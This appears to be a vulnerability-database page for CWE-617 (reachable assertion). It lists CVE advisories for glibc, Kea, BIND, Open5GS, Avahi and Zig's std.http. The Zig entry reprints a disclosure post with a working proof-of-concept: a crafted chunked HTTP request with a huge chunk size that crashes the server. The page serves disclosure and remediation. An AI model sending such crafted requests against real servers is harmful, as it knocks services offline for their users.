Common Weakness Enumeration
CWE-617
AllowedReachable Assertion
Abstraction: Base · Status: Draft
The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.
1114 vulnerabilities reference this CWE, most recent first.
CVE-2026-4046 (GCVE-0-2026-4046)
Vulnerability from cvelistv5 – Published: 2026-03-30 17:16 – Updated: 2026-07-14 12:45
VLAI
EPSS
VEX
Title
iconv crash due to assertion failure with untrusted input
Summary
The iconv() function in the GNU C Library versions 2.43 and earlier may crash due to an assertion failure when converting inputs from the IBM1390 or IBM1399 character sets, which may be used to remotely crash an application.
This vulnerability can be trivially mitigated by removing the IBM1390 and IBM1399 character sets from systems that do not need them.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-30 17:33 UTC
CWE
- CWE-617 - Reachable assertion
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://sourceware.org/bugzilla/show_bug.cgi?id=33980 | issue-tracking |
| https://sourceware.org/git/?p=glibc.git;a=blob_pl… | vendor-advisory |
| https://inbox.sourceware.org/libc-announce/76814e… | mailing-list |
| https://cert-portal.siemens.com/productcert/html/… |
Impacted products
4 products
| Vendor | Product | Version | |
|---|---|---|---|
| The GNU C Library | glibc |
Affected:
2.3.3 , ≤ 2.43
(custom)
|
|
| Siemens | SIMATIC S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.5 , < V3.1.6
(custom)
|
|
| Siemens | SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP |
Affected:
V3.1.5 , < V3.1.6
(custom)
|
|
| Siemens | SIPLUS S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.5 , < V3.1.6
(custom)
|
Date Public
2026-03-12 09:02
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CVE-2026-3608 (GCVE-0-2026-3608)
Vulnerability from cvelistv5 – Published: 2026-03-25 08:46 – Updated: 2026-07-15 01:02
VLAI
EPSS
VEX
Title
Stack overflow in Kea daemons
Summary
Sending a maliciously crafted message to the kea-ctrl-agent, kea-dhcp-ddns, kea-dhcp4, or kea-dhcp6 daemons over any configured API socket or HA listener can cause the receiving daemon to exit with a stack overflow error.
This issue affects Kea versions 2.6.0 through 2.6.4 and 3.0.0 through 3.0.2.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-25 13:26 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
9 references
| URL | Tags |
|---|---|
| https://kb.isc.org/docs/cve-2026-3608 | vendor-advisory |
| https://downloads.isc.org/isc/kea/2.6.5 | patch |
| https://downloads.isc.org/isc/kea/3.0.3 | patch |
| http://www.openwall.com/lists/oss-security/2026/03/25/6 | |
| https://access.redhat.com/security/cve/CVE-2026-3608 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2451139 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:11344 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:7342 | vendor-advisoryx_refsource_REDHAT |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| ISC | Kea |
Affected:
2.6.0 , ≤ 2.6.4
(custom)
Affected: 3.0.0 , ≤ 3.0.2 (custom) cpe:2.3:a:isc:kea:*:*:*:*:*:*:*:* cpe:2.3:a:isc:kea:*:*:*:*:*:*:*:* |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:3.0.1-3.el10_1 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.1 |
|
| Red Hat | Red Hat Enterprise Linux 10.0 Extended Update Support |
Unaffected:
0:2.6.3-2.el10_0.3 , < *
(rpm)
cpe:/o:redhat:enterprise_linux_eus:10.0 |
Date Public
2026-03-25 00:00
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CVE-2026-3119 (GCVE-0-2026-3119)
Vulnerability from cvelistv5 – Published: 2026-03-25 13:31 – Updated: 2026-03-25 14:13
VLAI
EPSS
VEX
Title
Authenticated query containing a TKEY record may cause named to terminate unexpectedly
Summary
Under certain conditions, `named` may crash when processing a correctly signed query containing a TKEY record. The affected code can only be reached if an incoming request has a valid transaction signature (TSIG) from a key declared in the `named` configuration.
This issue affects BIND 9 versions 9.20.0 through 9.20.20, 9.21.0 through 9.21.19, and 9.20.9-S1 through 9.20.20-S1.
BIND 9 versions 9.18.0 through 9.18.46 and 9.18.11-S1 through 9.18.46-S1 are NOT affected.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-25 14:13 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://kb.isc.org/docs/cve-2026-3119 | vendor-advisory |
| https://downloads.isc.org/isc/bind9/9.20.21 | patch |
| https://downloads.isc.org/isc/bind9/9.21.20 | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ISC | BIND 9 |
Affected:
9.20.0 , ≤ 9.20.20
(custom)
Affected: 9.21.0 , ≤ 9.21.19 (custom) Affected: 9.20.9-S1 , ≤ 9.20.20-S1 (custom) Unaffected: 9.18.0 , ≤ 9.18.46 (custom) Unaffected: 9.18.11-S1 , ≤ 9.18.46-S1 (custom) cpe:2.3:a:isc:bind:*:*:*:*:*:*:*:* cpe:2.3:a:isc:bind:*:*:*:*:*:*:*:* cpe:2.3:a:isc:bind:*:*:*:*:*:*:*:* |
Date Public
2026-03-25 00:00
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CVE-2026-2523 (GCVE-0-2026-2523)
Vulnerability from cvelistv5 – Published: 2026-02-16 00:02 – Updated: 2026-02-23 10:02
VLAI
EPSS
VEX
Title
Open5GS SMF gn-handler.c smf_gn_handle_create_pdp_context_request assertion
Summary
A vulnerability was detected in Open5GS up to 2.7.6. The affected element is the function smf_gn_handle_create_pdp_context_request of the file /src/smf/gn-handler.c of the component SMF. The manipulation results in reachable assertion. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 17:15 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
6 references
| URL | Tags |
|---|---|
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| https://vuldb.com/?ctiid.346111 | signaturepermissions-required |
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| https://github.com/open5gs/open5gs/issues/4285 | issue-tracking |
| https://github.com/open5gs/open5gs/issues/4285#is… | exploitissue-tracking |
| https://github.com/open5gs/open5gs/ | product |
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CVE-2026-1738 (GCVE-0-2026-1738)
Vulnerability from cvelistv5 – Published: 2026-02-02 01:32 – Updated: 2026-03-06 22:07
VLAI
EPSS
VEX
Title
Open5GS SGWC context.c sgwc_tunnel_add assertion
Summary
A flaw has been found in Open5GS up to 2.7.6. The impacted element is the function sgwc_tunnel_add of the file /src/sgwc/context.c of the component SGWC. Executing a manipulation of the argument pdr can lead to reachable assertion. The attack can be executed remotely. The exploit has been published and may be used. It is advisable to implement a patch to correct this issue. The issue report is flagged as already-fixed.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-02 16:00 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://vuldb.com/?id.343637 | vdb-entrytechnical-description |
| https://vuldb.com/?ctiid.343637 | signaturepermissions-required |
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| https://github.com/open5gs/open5gs/issues/4261#ev… | issue-tracking |
| https://github.com/open5gs/open5gs/issues/4261#is… | exploitissue-tracking |
| https://github.com/open5gs/open5gs/ | product |
Impacted products
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CVE-2026-1737 (GCVE-0-2026-1737)
Vulnerability from cvelistv5 – Published: 2026-02-02 01:02 – Updated: 2026-02-23 09:12
VLAI
EPSS
VEX
Title
Open5GS CreateBearerRequest s5c-handler.c sgwc_s5c_handle_create_bearer_request assertion
Summary
A vulnerability was detected in Open5GS up to 2.7.6. The affected element is the function sgwc_s5c_handle_create_bearer_request of the file /src/sgwc/s5c-handler.c of the component CreateBearerRequest Handler. Performing a manipulation results in reachable assertion. Remote exploitation of the attack is possible. The exploit is now public and may be used. To fix this issue, it is recommended to deploy a patch. The issue report is flagged as already-fixed.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-02 16:13 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://vuldb.com/?id.343636 | vdb-entrytechnical-description |
| https://vuldb.com/?ctiid.343636 | signaturepermissions-required |
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| https://github.com/open5gs/open5gs/issues/4271 | issue-tracking |
| https://github.com/open5gs/open5gs/issues/4271#ev… | issue-tracking |
| https://github.com/open5gs/open5gs/issues/4271#is… | exploitissue-tracking |
| https://github.com/open5gs/open5gs/ | product |
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CVE-2026-1736 (GCVE-0-2026-1736)
Vulnerability from cvelistv5 – Published: 2026-02-02 00:32 – Updated: 2026-02-23 09:12
VLAI
EPSS
VEX
Title
Open5GS SGWC s11-handler.c assertion
Summary
A security vulnerability has been detected in Open5GS up to 2.7.6. Impacted is the function sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request of the file /src/sgwc/s11-handler.c of the component SGWC. Such manipulation leads to reachable assertion. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. A patch should be applied to remediate this issue. The issue report is flagged as already-fixed.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-02 16:15 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://vuldb.com/?id.343635 | vdb-entrytechnical-description |
| https://vuldb.com/?ctiid.343635 | signaturepermissions-required |
| https://vuldb.com/?submit.741191 | third-party-advisory |
| https://github.com/open5gs/open5gs/issues/4270 | issue-tracking |
| https://github.com/open5gs/open5gs/issues/4270#ev… | issue-tracking |
| https://github.com/open5gs/open5gs/issues/4270#is… | exploitissue-tracking |
| https://github.com/open5gs/open5gs/ | product |
Impacted products
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"version": "2.0.3"
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],
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{
"cpes": [
"cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*"
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"modules": [
"SGWC"
],
"product": "Open5GS",
"vendor": "n/a",
"versions": [
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"status": "affected",
"version": "2.7.0"
},
{
"status": "affected",
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},
{
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"version": "2.7.3"
},
{
"status": "affected",
"version": "2.7.4"
},
{
"status": "affected",
"version": "2.7.5"
},
{
"status": "affected",
"version": "2.7.6"
}
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}
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GCVE-1988-2026-0047
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Zig std.http chunked reader integer overflow -> unauthenticated remote DoS
Summary
Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow
panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59,
Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has
accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for
chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the
temple and cursed enough to set it on fire.¹
The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard
request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe
reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the
worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather
than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server
over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says
“systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism.
// poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`
const std = @import("std");
const http = std.http;
pub fn main() !void {
const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded
const request_bytes =
"POST /upload HTTP/1.1\r\n" ++
"Host: victim\r\n" ++
"Transfer-Encoding: chunked\r\n" ++
"\r\n" ++
"fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2
body;
var in = std.Io.Reader.fixed(request_bytes);
var out_buf: [4096]u8 = undefined;
var out = std.Io.Writer.fixed(&out_buf);
var server = http.Server.init(&in, &out);
var request = try server.receiveHead(); // Head.parse accepts TE:chunked
var transfer_buf: [256]u8 = undefined;
const br = try request.readerExpectContinue(&transfer_buf);
var dst: [256]u8 = undefined;
_ = try br.readSliceShort(&dst); // -> panic at http.zig:586}
Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3].
Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably
impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject
requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting
chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.²
CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it
arrived in.
¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to
reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written
during a thunderstorm.
Cheers!
Agent Spooky's Fun Parade
[agent-spooky-1.png]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/0 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Zig std.http chunked |
Affected:
unknown
|
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"value": "Agent Spooky\u2019s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow \npanic in Zig\u2019s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, \nReader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has \naccepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for \nchunk_len \u003c= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the \ntemple and cursed enough to set it on fire.\u00b9\n\nThe practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard \nrequest bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe \nreaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the \nworker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather \nthan producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server \nover fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says \n\u201csystems programming\u201d like having your HTTP parser defeated by two bytes of conceptual optimism.\n\n// poc.zig \u2014 build: `zig build-exe poc.zig` (Debug) ; run: `./poc`\nconst std = @import(\"std\");\nconst http = std.http;\n\npub fn main() !void {\nconst body = \"A\" ** 300; // \u2265 read-buffer so the read is buffer-bounded, not EOF-bounded\nconst request_bytes =\n\"POST /upload HTTP/1.1\\r\\n\" ++\n\"Host: victim\\r\\n\" ++\n\"Transfer-Encoding: chunked\\r\\n\" ++\n\"\\r\\n\" ++\n\"fffffffffffffffe\\r\\n\" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2\nbody;\n\nvar in = std.Io.Reader.fixed(request_bytes);\nvar out_buf: [4096]u8 = undefined;\nvar out = std.Io.Writer.fixed(\u0026out_buf);\n\nvar server = http.Server.init(\u0026in, \u0026out);\nvar request = try server.receiveHead(); // Head.parse accepts TE:chunked\n\nvar transfer_buf: [256]u8 = undefined;\nconst br = try request.readerExpectContinue(\u0026transfer_buf);\nvar dst: [256]u8 = undefined;\n_ = try br.readSliceShort(\u0026dst); // -\u003e panic at http.zig:586}\n\n\nRoot cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. \nSuggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably \nimpose a sane implementation maximum far below \u201cthe heat death of RAM.\u201d Separately, Request.Head.parse should reject \nrequests containing both Content-Length and Transfer-Encoding per RFC 7230 \u00a73.3.3, because accepting both and letting \nchunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.\u00b2\n\nCWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.\nCVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.\nConfidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it \narrived in.\n\n\u00b9 \u201cValid enough to enter, cursed enough to set it on fire\u201d is not yet an IETF term, but we are submitting an erratum to \nreality.\u00b2 Footnote \u00b2 exists only to prove the report has layers, like an onion, or a parser state machine written \nduring a thunderstorm.\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n[agent-spooky-1.png]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
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CVE-2025-68471 (GCVE-0-2025-68471)
Vulnerability from cvelistv5 – Published: 2026-01-12 17:39 – Updated: 2026-01-12 18:42
VLAI
EPSS
VEX
Title
Avahi has a reachable assertion in lookup_start
Summary
Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, avahi-daemon can be crashed by sending 2 unsolicited announcements with CNAME resource records 2 seconds apart.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-12 18:42 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/avahi/avahi/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/avahi/avahi/issues/678 | x_refsource_MISC |
| https://github.com/avahi/avahi/commit/9c6eb53bf2e… | x_refsource_MISC |
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CVE-2025-68468 (GCVE-0-2025-68468)
Vulnerability from cvelistv5 – Published: 2026-01-12 17:38 – Updated: 2026-01-12 18:41
VLAI
EPSS
VEX
Title
Avahi has a reachable assertion in lookup_multicast_callback
Summary
Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, avahi-daemon can be crashed by sending unsolicited announcements containing CNAME resource records pointing it to resource records with short TTLs. As soon as they expire avahi-daemon crashes.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-12 18:41 UTC
CWE
- CWE-617 - Reachable Assertion
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/avahi/avahi/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/avahi/avahi/issues/683 | x_refsource_MISC |
| https://github.com/avahi/avahi/commit/f66be13d7f3… | x_refsource_MISC |
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Mitigation
Implementation
Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)
Mitigation
Implementation
Strategy: Input Validation
Perform input validation on user data.
No CAPEC attack patterns related to this CWE.